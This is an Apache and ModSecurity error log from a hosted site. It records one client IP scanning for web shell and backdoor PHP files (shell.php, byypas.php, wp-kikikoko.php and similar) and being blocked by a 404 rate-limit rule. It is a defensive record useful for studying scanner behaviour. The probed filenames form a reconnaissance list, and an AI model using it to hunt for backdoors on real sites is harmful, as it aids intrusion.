[Sat Apr 25 06:30:41.206289 2026] [:error] [pid 44425:tid 44434] [client 74.248.134.252:51169] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aevvESUl-VlItvY2tR8MnwAAAMc"]
[Sat Apr 25 06:30:42.434493 2026] [:error] [pid 46083:tid 46098] [client 74.248.134.252:56688] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aevvEjxw_Zq74vWdjmk40AAAAQs"]
[Sat Apr 25 06:30:45.867750 2026] [:error] [pid 44320:tid 44366] [client 74.248.134.252:2491] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aevvFTmFqSpku_dij8h4BQAAAEo"]
[Sat Apr 25 06:30:47.952103 2026] [:error] [pid 44320:tid 44376] [client 74.248.134.252:56644] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/tt.php"] [unique_id "aevvFzmFqSpku_dij8h4BwAAAFQ"]
[Sat Apr 25 06:30:49.170261 2026] [:error] [pid 46083:tid 46089] [client 74.248.134.252:62014] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aevvGTxw_Zq74vWdjmk42QAAAQI"]
[Sat Apr 25 06:30:50.969528 2026] [:error] [pid 44321:tid 44406] [client 74.248.134.252:2936] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aevvGo1b5lV-asWa_Y4t3AAAAJc"]
[Sat Apr 25 06:30:52.293554 2026] [:error] [pid 46083:tid 46107] [client 74.248.134.252:56312] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aevvHDxw_Zq74vWdjmk42wAAARM"]
[Sat Apr 25 06:30:55.136211 2026] [:error] [pid 46083:tid 46110] [client 74.248.134.252:2466] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/sid3.php"] [unique_id "aevvHzxw_Zq74vWdjmk45AAAARY"]
[Sat Apr 25 06:30:57.074751 2026] [:error] [pid 44425:tid 44449] [client 74.248.134.252:2162] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aevvISUl-VlItvY2tR8MrgAAANY"]
[Sat Apr 25 06:30:59.610263 2026] [:error] [pid 44319:tid 44330] [client 74.248.134.252:54529] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aevvI8zJPAVLUb2pWtJVvQAAAAE"]
[Sat Apr 25 06:31:01.891597 2026] [:error] [pid 44319:tid 44339] [client 74.248.134.252:63460] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aevvJczJPAVLUb2pWtJVwAAAAAo"]
[Sat Apr 25 06:31:03.421106 2026] [:error] [pid 44320:tid 44357] [client 74.248.134.252:63432] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/66.php"] [unique_id "aevvJzmFqSpku_dij8h4EwAAAEE"]
[Sat Apr 25 06:31:05.076664 2026] [:error] [pid 44320:tid 44370] [client 74.248.134.252:59157] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aevvKTmFqSpku_dij8h4FgAAAE4"]
[Sat Apr 25 06:31:07.388094 2026] [:error] [pid 44425:tid 44451] [client 74.248.134.252:2436] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aevvKyUl-VlItvY2tR8MtwAAANg"]
[Sat Apr 25 06:31:10.044932 2026] [:error] [pid 44425:tid 44449] [client 74.248.134.252:2365] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aevvLiUl-VlItvY2tR8MuwAAANY"]
[Sat Apr 25 06:31:12.241336 2026] [:error] [pid 44425:tid 44451] [client 74.248.134.252:58712] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-the.php"] [unique_id "aevvMCUl-VlItvY2tR8MvwAAANg"]
[Sat Apr 25 06:31:14.142598 2026] [:error] [pid 44425:tid 44432] [client 74.248.134.252:48060] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aevvMiUl-VlItvY2tR8MwgAAAMU"]
[Sat Apr 25 06:31:15.768340 2026] [:error] [pid 44425:tid 44438] [client 74.248.134.252:35903] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aevvMyUl-VlItvY2tR8MxAAAAMs"]
[Sat Apr 25 06:31:17.394911 2026] [:error] [pid 44321:tid 44398] [client 74.248.134.252:59172] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aevvNY1b5lV-asWa_Y4t6wAAAI8"]
[Sat Apr 25 06:31:19.006120 2026] [:error] [pid 44320:tid 44378] [client 74.248.134.252:2930] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/jga.php"] [unique_id "aevvNzmFqSpku_dij8h4IQAAAFY"]
[Sat Apr 25 06:31:23.466249 2026] [:error] [pid 44320:tid 44371] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php
[Sat Apr 25 06:31:23.749356 2026] [:error] [pid 44320:tid 44370] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/bmi.php
[Sat Apr 25 06:31:24.045880 2026] [:error] [pid 44320:tid 44360] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/byypas.php
[Sat Apr 25 06:31:24.621008 2026] [:error] [pid 44320:tid 44376] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-png.php
[Sat Apr 25 06:31:24.905179 2026] [:error] [pid 44320:tid 44378] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/wen.php
[Sat Apr 25 06:31:25.188744 2026] [:error] [pid 44320:tid 44356] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/plugin-install.php
[Sat Apr 25 06:31:25.773572 2026] [:error] [pid 44320:tid 44374] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-kikikoko.php
[Sat Apr 25 06:31:26.057459 2026] [:error] [pid 44320:tid 44379] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/hplfuns.php
[Sat Apr 25 06:31:26.357831 2026] [:error] [pid 44320:tid 44357] [client 74.248.134.252:35885] File does not exist: /usr/local/apache/htdocs/suspended-page/shell.php
[Sat Apr 25 06:31:26.650556 2026] [:error] [pid 44320:tid 44369] [client 74.248.134.252:35885] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aevvPjmFqSpku_dij8h4NgAAAE0"]
[Sat Apr 25 06:31:28.476579 2026] [:error] [pid 44320:tid 44372] [client 74.248.134.252:34293] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aevvQDmFqSpku_dij8h4OgAAAFA"]
[Sat Apr 25 06:31:29.762917 2026] [:error] [pid 44425:tid 44441] [client 74.248.134.252:58072] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aevvQSUl-VlItvY2tR8M1gAAAM4"]
[Sat Apr 25 06:31:31.695415 2026] [:error] [pid 44320:tid 44358] [client 74.248.134.252:34287] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aevvQzmFqSpku_dij8h4QQAAAEI"]
[Sat Apr 25 06:31:33.677668 2026] [:error] [pid 44321:tid 44394] [client 74.248.134.252:35866] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aevvRY1b5lV-asWa_Y4t_QAAAIs"]
[Sat Apr 25 06:31:36.539864 2026] [:error] [pid 44425:tid 44429] [client 74.248.134.252:63434] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aevvSCUl-VlItvY2tR8M4QAAAMI"]
[Sat Apr 25 06:31:38.904706 2026] [:error] [pid 46083:tid 46109] [client 74.248.134.252:43543] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aevvSjxw_Zq74vWdjmk5PgAAARU"]
[Sat Apr 25 06:31:41.271826 2026] [:error] [pid 44321:tid 44399] [client 74.248.134.252:42268] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-admin/network/edit.php"] [unique_id "aevvTY1b5lV-asWa_Y4uCAAAAJA"]
[Sat Apr 25 06:31:43.752146 2026] [:error] [pid 44319:tid 44344] [client 74.248.134.252:42287] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aevvT8zJPAVLUb2pWtJV7AAAAA8"]
[Sat Apr 25 06:31:46.200290 2026] [:error] [pid 46083:tid 46099] [client 74.248.134.252:43563] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aevvUjxw_Zq74vWdjmk5SAAAAQw"]
[Sat Apr 25 06:31:47.498686 2026] [:error] [pid 44425:tid 44446] [client 74.248.134.252:49250] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aevvUyUl-VlItvY2tR8M9wAAANM"]
[Sat Apr 25 06:31:49.874765 2026] [:error] [pid 44320:tid 44360] [client 74.248.134.252:2329] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws48.php"] [unique_id "aevvVTmFqSpku_dij8h4UwAAAEQ"]
[Sat Apr 25 06:31:53.649132 2026] [:error] [pid 44319:tid 44336] [client 74.248.134.252:58393] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aevvWczJPAVLUb2pWtJV9wAAAAc"]
[Sat Apr 25 06:31:56.148859 2026] [:error] [pid 44319:tid 44331] [client 74.248.134.252:37076] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aevvXMzJPAVLUb2pWtJV-AAAAAI"]
[Sat Apr 25 06:32:02.102507 2026] [:error] [pid 46083:tid 46089] [client 74.248.134.252:36560] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aevvYjxw_Zq74vWdjmk5VgAAAQI"]
[Sat Apr 25 06:32:04.563628 2026] [:error] [pid 44321:tid 44383] [client 74.248.134.252:56584] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aevvZI1b5lV-asWa_Y4uJgAAAIA"]
[Sat Apr 25 06:32:09.386463 2026] [:error] [pid 44425:tid 44434] [client 74.248.134.252:63777] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aevvaSUl-VlItvY2tR8NBAAAAMc"]
[Sat Apr 25 06:32:10.512301 2026] [:error] [pid 44319:tid 44351] [client 74.248.134.252:64422] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aevvaszJPAVLUb2pWtJWDgAAABY"]
[Sat Apr 25 06:32:12.307304 2026] [:error] [pid 44320:tid 44359] [client 74.248.134.252:43163] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aevvbDmFqSpku_dij8h4dgAAAEM"]
[Sat Apr 25 06:32:15.132474 2026] [:error] [pid 46083:tid 46101] [client 74.248.134.252:51869] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/dass.php"] [unique_id "aevvbzxw_Zq74vWdjmk5YQAAAQ4"]
[Sat Apr 25 06:32:17.683795 2026] [:error] [pid 44321:tid 44404] [client 74.248.134.252:62937] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aevvcY1b5lV-asWa_Y4uVAAAAJU"]
[Sat Apr 25 06:32:19.084864 2026] [:error] [pid 44320:tid 44361] [client 74.248.134.252:46429] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aevvczmFqSpku_dij8h4gAAAAEU"]
[Sat Apr 25 06:32:24.560480 2026] [:error] [pid 46083:tid 46107] [client 74.248.134.252:55119] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aevveDxw_Zq74vWdjmk5mwAAARM"]
[Sat Apr 25 06:32:28.215755 2026] [:error] [pid 44321:tid 44406] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-p2r3q9c8k4.php
[Sat Apr 25 06:32:28.490717 2026] [:error] [pid 44321:tid 44390] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/ok.php
[Sat Apr 25 06:32:28.749201 2026] [:error] [pid 44321:tid 44387] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/eetu.php
[Sat Apr 25 06:32:29.151025 2026] [:error] [pid 44321:tid 44385] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/ws66.php
[Sat Apr 25 06:32:29.420227 2026] [:error] [pid 44321:tid 44400] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/file61.php
[Sat Apr 25 06:32:29.679892 2026] [:error] [pid 44321:tid 44389] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/asd.php
[Sat Apr 25 06:32:29.951693 2026] [:error] [pid 44321:tid 44405] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/xx.php
[Sat Apr 25 06:32:30.230647 2026] [:error] [pid 44321:tid 44384] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/a5.php
[Sat Apr 25 06:32:30.787083 2026] [:error] [pid 44321:tid 44388] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/cu.php
[Sat Apr 25 06:32:31.045887 2026] [:error] [pid 44321:tid 44399] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/amax.php
[Sat Apr 25 06:32:31.304605 2026] [:error] [pid 44321:tid 44394] [client 74.248.134.252:63983] File does not exist: /usr/local/apache/htdocs/suspended-page/mh.php
[Sat Apr 25 06:32:31.559838 2026] [:error] [pid 44321:tid 44407] [client 74.248.134.252:63983] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aevvf41b5lV-asWa_Y4ufwAAAJg"]
[Sat Apr 25 06:32:34.221150 2026] [:error] [pid 44321:tid 44404] [client 74.248.134.252:62936] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aevvgo1b5lV-asWa_Y4ugwAAAJU"]
[Sat Apr 25 06:32:38.586079 2026] [:error] [pid 44425:tid 44442] [client 74.248.134.252:49171] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aevvhiUl-VlItvY2tR8NRwAAAM8"]
[Sat Apr 25 06:32:43.202922 2026] [:error] [pid 44425:tid 44439] [client 74.248.134.252:42349] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/Jcrop.php"] [unique_id "aevviyUl-VlItvY2tR8NSwAAAMw"]
[Sat Apr 25 06:32:44.856036 2026] [:error] [pid 44425:tid 44446] [client 74.248.134.252:51897] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aevvjCUl-VlItvY2tR8NUAAAANM"]
[Sat Apr 25 06:32:48.799210 2026] [:error] [pid 46083:tid 46111] [client 74.248.134.252:48079] [client 74.248.134.252] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/abc.php"] [unique_id "aevvkDxw_Zq74vWdjmk6AgAAARc"]
